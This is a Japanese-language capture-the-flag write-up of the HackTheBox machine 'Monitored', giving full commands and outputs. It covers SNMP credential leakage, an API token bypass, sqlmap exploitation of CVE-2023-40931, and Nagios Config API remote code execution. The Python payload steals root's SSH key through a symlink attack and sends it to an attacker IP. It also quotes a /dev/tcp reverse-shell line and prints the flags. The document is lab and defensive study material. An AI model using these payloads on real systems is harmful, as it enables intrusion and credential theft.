HackTheBox: Monitored — 全実行コマンド・実行結果レポート
Nmap
Nagios XI 検出
→
Nagios XI 検出
SNMP walk
svc認証情報漏洩
→
svc認証情報漏洩
トークンバイパス
無効化アカウント
→
無効化アカウント
SQLi
CVE-2023-40931
→
CVE-2023-40931
api_key窃取
nagiosadmin
→
nagiosadmin
Config API RCE
check_command悪用
→
check_command悪用
user.txt
→
getprofile.sh
symlink攻撃
→
symlink攻撃
root.txt
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & hosts 設定
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.230.96 nmap -sV -sC -p 22,80,389,443 10.129.230.96 sudo nmap -sU --top-ports 10 -sV 10.129.230.96
RESULT (実機ライブ確認)
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 80/tcp open http Apache httpd 2.4.56 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 443/tcp open ssl/http Apache httpd 2.4.56 ((Nagios XI)) 161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public) 123/udp open ntp
BASH
echo "10.129.230.96 nagios.monitored.htb" | sudo tee -a /etc/hosts
✅
HTTP は HTTPS (
https://nagios.monitored.htb/) へリダイレクトされ、
Nagios XI のログイン画面が表示される。UDP 161/snmp
が (community文字列 public) 追加で開いている点が攻略の糸口になる。
PHASE 2
SNMP 経由の平文認証情報漏洩
スコープを絞った snmpwalk
⚠️
実機での重要な注意: OID を指定しないフル
snmpwalk -v 2c -c public <target> は MIB ツリー全体が
非常に大きく、90秒以上待っても完走しない。漏洩箇所は
HOST-RESOURCES-MIB::hrSWRunParameters
(1.3.6.1.2.1.25.4.2.1.5、プロセス起動引数) と判明しているため、
このサブツリーだけにスコープを絞ると約55秒で完走する。
BASH
snmpwalk -v 2c -c public 10.129.230.96 1.3.6.1.2.1.25.4.2.1.5
RESULT (実機ライブ確認、抜粋)
iso.3.6.1.2.1.25.4.2.1.5.591 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB " iso.3.6.1.2.1.25.4.2.1.5.1377 = STRING: "-u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB" iso.3.6.1.2.1.25.4.2.1.5.1378 = STRING: "-c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
🚨
NRPE監視スクリプトのプロセス起動引数から
平文認証情報
svc:XjH7VCehowpR1xZB が漏洩している。
Web ログインは失敗する (アカウント無効化)
NOTE
svc:XjH7VCehowpR1xZB で Nagios XI Web UI にログインを試みるが、 "The specified user account has been disabled or does not exist." と 表示されログインできない。
PHASE 3
無効化アカウントのトークンバイパス
API 認証トークン取得
BASH
curl -sk --silent "https://nagios.monitored.htb/nagiosxi/api/v1/authenticate" \ -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=60"
RESULT (実機ライブ確認)
{
"username": "svc",
"user_id": "2",
"auth_token": "2b1f994527bcd15e077a2a43b224b9037509f917",
"valid_min": 60,
"valid_until": "..."
}
🚨
認証バイパス: Web UI ログインは無効化アカウントとして拒否されるが、
Nagios XI API の
authenticate エンドポイントは
無効化されたアカウントでも auth_token を発行してしまう。
セッション Cookie の取得
BASH
curl -sk -c cookies.txt \ "https://nagios.monitored.htb/nagiosxi/index.php?token=<auth_token>"
ℹ️
実装上のハマりどころ: 発行される Nagios XI セッション Cookie は
HttpOnly 属性付きのため、curl の Netscape 形式クッキージャーでは
行が #HttpOnly_<domain> という形式で始まる。単純に
「# で始まる行はコメント」として無視するスクリプトを書くと、
このセッション Cookie そのものを誤って除外してしまう。
PHASE 4
SQL Injection in Announcement Banners (CVE-2023-40931)
脆弱性の確認
NOTE
Nagios XI 5.11.1 以前には Outpost24 が報告した4つの脆弱性がある。 /nagiosxi/admin/banner_message-ajaxhelper.php の id パラメータが SQLi 脆弱 (xi_session/xi_users テーブルからメール・ユーザー名・ パスワードハッシュ・API トークンを抽出可能、認証済み低権限ユーザーで 悪用可能、バナーIDの実在は不要)。
BASH (BurpSuite Repeater)
POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1 Host: nagios.monitored.htb Cookie: nagiosxi=<session_cookie> Content-Type: application/x-www-form-urlencoded action=acknowledge_banner_message&id=*
RESULT
<pre>
SQL Error [nagiosxi] : You have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server version for the right
syntax to use near '*' and user_id = '2' at line 1
</pre>
{"message":"Failed to acknowledge message.","msg_type":"error"}
✅
SQL エラーが確認でき、SQLi が可能と判明。
sqlmap によるダンプ (error-based技法限定)
⚠️
実機での重要な注意: 技法を指定しない sqlmap は
boolean/error/time-based の全技法を順に検証しようとし、time-based blind
の二分探索が非常に遅く 300秒のタイムアウト内に完走しない。
PDF で確認されている
--technique=E (error-based) のみに
限定すると約44〜144秒で完走する。
BASH
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3" \ --batch -p id --cookie "nagiosxi=<session_cookie>" --technique=E \ -D nagiosxi -T xi_users --dump --threads=5
RESULT (実機ライブ確認)
Database: nagiosxi
Table: xi_users
[2 entries]
+---------+----------------------+-------------+-----------------------------------------------------------------+
| user_id | email | username | api_key |
+---------+----------------------+-------------+-----------------------------------------------------------------+
| 1 | admin@monitored.htb | nagiosadmin | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL |
| 2 | svc@monitored.htb | svc | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK |
+---------+----------------------+-------------+-----------------------------------------------------------------+
🚨
パスワードハッシュ (bcrypt) はクラック不能だが、API キーは平文でそのまま利用可能。
nagiosadmin の api_key IudGPHd9...CHLL を窃取。
API キーで管理者ユーザーを新規作成 (任意/永続化用)
BASH
curl -sk --silent \ "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=<api_key>" \ -d "username=tcg&password=YoullNeverGuessThis&name=TCG&email=tcg@localhost&auth_level=admin"
RESULT (実機ライブ確認)
{"success":"User account tcg was added successfully!","user_id":6}
PHASE 5
Nagios Config API 悪用による RCE & user.txt
実機で判明した重要な罠 (5点)
| # | 罠 | 詳細 |
|---|---|---|
| 1 | “Objects API” は実在しない | objects/command での作成や objects/host への PUT は
{"error":"Unknown API endpoint."} を返す。正しいのは
config/command(POST) でコマンド作成、
config/host(POST) で host_name 一致による upsert 更新。 |
| 2 | bash の /dev/tcp がNagios実行コンテキストで機能しない |
bash -i >& /dev/tcp/IP/PORT 0>&1 はチェック実行が30秒
(host_check_timeout既定値) でタイムアウトするだけで、TCP接続自体が
一切発生しない (ICMP ping は同じコンテキストで問題なく成功するため
egress遮断が原因ではない)。Python の socket ベースの
ペイロードに置き換えると解決する。 |
| 3 | command_line がリテラルの ; で切断される |
Nagios の .cfg 設定行フォーマットはセミコロン以降を
コメント扱いするため、API はその直前で値をサイレントに切り捨てる。
__import__('base64') を式に埋め込みセミコロン無しの
単一式にすることで回避 (複数行スクリプトは base64 で1つの
文字列にまとめて渡す)。 |
| 4 | Apply Configuration はチェックを即座に起動しない | Nagios コアは再起動するが、既存ホストの次回チェック時刻は
再起動時刻から再計算されず、以前の last_check + check_interval
のスケジュールがそのまま維持される (実機で5分間隔を確認)。
最大 check_interval 分 (既定5分) 待つ必要がある。 |
| 5 | 複数回のRCE実行は非効率 | user.txt 取得と権限昇格を別々のチェック実行に分けると 1ステップごとに最大5分待つことになる。 単一の Python ペイロード内で全ステップを実行し、 結果をまとめて1回のTCPコネクションで外部送信することで チェック実行1回で完結させる。 |
悪意あるチェックコマンドの作成 (Config API)
PYTHON (base64 エンコードして埋め込むペイロード)
import socket,subprocess
out = []
def run(cmd):
r = subprocess.run(cmd, shell=True, capture_output=True, timeout=12)
return r.stdout.decode(errors="replace") + r.stderr.decode(errors="replace")
out.append("=== user.txt ===")
out.append(run("cat /home/nagios/user.txt"))
out.append("=== symlink attack ===")
run("rm -f /usr/local/nagiosxi/tmp/phpmailer.log")
run("ln -s /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log")
out.append(run("sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1"))
out.append(run("cp /usr/local/nagiosxi/var/components/profile.zip /tmp/ 2>&1"))
out.append(run("cd /tmp && unzip -o profile.zip 2>&1"))
out.append("=== root key ===")
out.append(run("cat /tmp/profile-*/phpmailer.log 2>/dev/null"))
data = "\n".join(out)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<kali_ip>", 14901))
s.sendall(data.encode())
s.close()
BASH (API呼び出し)
# python3 -c "exec(__import__('base64').b64decode('<b64>').decode())" として
# command_line にセット (セミコロン不使用)
curl -sk -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/config/command?apikey=<api_key>" \
--data-urlencode "command_name=afullrce" \
--data-urlencode "command_line=python3 -c \"exec(__import__('base64').b64decode('<b64>').decode())\""
curl -sk -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/config/host?apikey=<api_key>" \
--data-urlencode "host_name=localhost" \
--data-urlencode "address=127.0.0.1" \
--data-urlencode "check_command=afullrce" \
--data-urlencode "max_check_attempts=1" \
--data-urlencode "check_period=24x7" \
--data-urlencode "notification_interval=0" \
--data-urlencode "notification_period=24x7" \
--data-urlencode "contacts=nagiosadmin"
curl -sk -XPOST "https://nagios.monitored.htb/nagiosxi/api/v1/system/applyconfig?apikey=<api_key>"
RESULT (実機ライブ確認 — 約5分後、既存チェックスケジュールにより自動発火)
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.96] 32906
=== user.txt ===
1578314bae5044230a12d29a927bb56e
=== symlink attack ===
-------------------Fetching Information-------------------
...
Backup and Zip complete!
Archive: profile.zip
inflating: profile-1786932435/phpmailer.log
=== root key ===
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAB...(略)
-----END OPENSSH PRIVATE KEY-----
✅
1回のチェック実行で user.txt の内容と root の SSH秘密鍵の両方を取得。
以降の getprofile.sh symlink 攻撃 (Phase 6) は既にこの実行内で完了している。
user.txt — /home/nagios/user.txt
1578314bae5044230a12d29a927bb56e
PHASE 6
getprofile.sh symlink 攻撃 & root.txt
sudo 権限の確認と脆弱スクリプト
NOTE
nagios ユーザーは /usr/local/nagiosxi/scripts/components/getprofile.sh を NOPASSWD で root 権限実行可能 (sudo -l で確認)。同スクリプトは /usr/local/nagiosxi/tmp/phpmailer.log が存在すればシンボリックリンク解決 せずに tail -100 して profile zip へコピーする実装になっている。
BASH (getprofile.sh の該当箇所)
echo "Getting phpmailer.log..."
if [ -f /usr/local/nagiosxi/tmp/phpmailer.log ]; then
tail -100 /usr/local/nagiosxi/tmp/phpmailer.log > \
"/usr/local/nagiosxi/var/components/profile/$folder/phpmailer.log"
fi
symlink 攻撃の実行 (Phase 5 のペイロード内で実行済み)
SHELL (RCEペイロード内、nagios権限)
rm -f /usr/local/nagiosxi/tmp/phpmailer.log ln -s /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1 cp /usr/local/nagiosxi/var/components/profile.zip /tmp/ cd /tmp && unzip -o profile.zip cat /tmp/profile-*/phpmailer.log
🚨
getprofile.sh は $folder のサニタイズやコピー元パスの
シンボリックリンク検証を行わないため、phpmailer.log を
/root/.ssh/id_rsa へのシンボリックリンクに差し替えてから
root権限で実行させると、root の SSH 秘密鍵が nagios 権限で
読み取り可能な zip ファイルへコピーされる。
root SSH 秘密鍵で root.txt を取得
BASH
chmod 600 monitored_root_id_rsa ssh -i monitored_root_id_rsa -o StrictHostKeyChecking=no root@10.129.230.96 \ "whoami; cat /root/root.txt"
RESULT (実機ライブ確認)
root
b8111573a19e2bdd903a78d5707760bc
root.txt — /root/root.txt
b8111573a19e2bdd903a78d5707760bc
SUMMARY
攻略サマリー & 教訓
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SNMP community “public” によるプロセス引数漏洩 | UDP 161/snmp | 平文認証情報の漏洩 | High | hrSWRunParameters OID のプロセス起動引数から svc の資格情報を取得 |
| 無効化アカウントに対する API トークン発行 | Nagios XI /api/v1/authenticate |
認証バイパス | Critical | Web UIでは拒否される無効化アカウントでも API はトークンを発行 |
| CVE-2023-40931 SQL Injection | banner_message-ajaxhelper.php の id パラメータ |
DB内容の窃取 (api_key含む) | Critical | sqlmap (error-based技法) で xi_users テーブルをダンプし nagiosadmin の api_key を窃取 |
| Config API 経由の悪意あるチェックコマンド作成 | Nagios XI Config API | リモートコード実行 | Critical | api_key で check_command を書き換え、スケジュール済みチェックとして実行 |
| getprofile.sh のシンボリックリンク未検証 | /usr/local/nagiosxi/scripts/components/getprofile.sh |
root SSH秘密鍵の窃取 | Critical | NOPASSWD sudo実行可能なスクリプトのコピー元をsymlinkですり替え、root権限で読み取り不可なファイルを取得 |
取得したフラグ
| フラグ | パス | 値 |
|---|---|---|
| user.txt | /home/nagios/user.txt | 1578314bae5044230a12d29a927bb56e |
| root.txt | /root/root.txt | b8111573a19e2bdd903a78d5707760bc |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SNMP community “public” (読み取り専用) がプロセス起動引数に含まれる平文認証情報を漏洩 | SNMP の community 文字列を推測困難な値に変更し、監視スクリプトに認証情報をコマンドライン引数として渡す運用自体を避ける (環境変数や設定ファイルを使う)。 |
| 無効化されたアカウントでも API 認証エンドポイントがトークンを発行してしまう | API 認証処理でもアカウントの enabled/disabled ステータスを必ずチェックする。Web UI とAPIで認可ロジックを一元化する。 |
| ユーザー入力を直接 SQL クエリに結合 (CVE-2023-40931) | プリペアドステートメント/パラメータ化クエリを徹底する。ベンダー提供のセキュリティパッチを適用する (Nagios XI 5.11.1 以降で修正済み)。 |
| API キーだけで任意のチェックコマンドを作成・適用でき、それが直接コード実行につながる設計 | API キーの権限を最小化し、コマンド定義の変更には追加の承認/監査ログを要求する。監視対象ホストの check_command を一般ユーザーが変更できないようにする。 |
| root権限で実行されるスクリプトがコピー元ファイルのシンボリックリンクを検証しない | root権限スクリプトでファイル操作を行う際は readlink や os.path.realpath で実体パスを検証し、想定ディレクトリ外への読み取りを拒否する。 |

